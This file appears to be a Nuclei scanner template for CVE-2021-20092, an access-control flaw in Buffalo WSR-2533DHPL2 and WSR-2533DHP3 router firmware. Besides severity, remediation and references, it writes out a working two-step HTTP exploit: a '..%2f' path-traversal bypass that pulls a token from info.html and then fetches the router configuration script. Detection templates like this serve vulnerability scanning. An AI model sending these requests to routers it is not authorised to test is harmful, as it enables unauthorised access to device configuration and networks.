70 lines
2.5 KiB
YAML
70 lines
2.5 KiB
YAML
id: CVE-2021-20092
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info:
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name: Buffalo WSR-2533DHPL2 - Improper Access Control
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author: gy741,pdteam,parth
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severity: high
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description: |
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The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.
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impact: |
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An attacker can exploit this vulnerability to gain unauthorized access to the router's configuration settings and potentially compromise the entire network.
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remediation: |
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Apply the latest firmware update provided by Buffalo to fix the access control issue.
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reference:
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- https://www.tenable.com/security/research/tra-2021-13
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- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20091
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-20092
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cwe-id: CWE-287
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epss-score: 0.01583
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epss-percentile: 0.87054
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cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: buffalo
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product: wsr-2533dhpl2-bk_firmware
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tags: cve2021,cve,buffalo,firmware,iot,tenable
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http:
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- raw:
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- |
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GET /images/..%2finfo.html HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}/info.html
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- |
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GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}} HTTP/1.1
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Host: {{Hostname}}
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Cookie: lang=8; url=ping.html; mobile=false;
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Referer: {{BaseURL}}/info.html
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Content-Type: application/x-www-form-urlencoded
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "application/x-javascript"
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- type: word
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words:
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- "/*DEMO*/"
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- "addCfg("
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: httoken
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group: 1
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regex:
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- 'base64\,(.*?)" border='
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internal: true
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# digest: 490a0046304402204a050931d97fb4bd96f5b79ea9e272dd12ddd010881090fa1fbe7d66bf8dba7502207114368dda3e6e1d7423ee40b0eac74d3bee7aa8ac6000c9ae2eac06ca1acd32:922c64590222798bb761d5b6d8e72950 |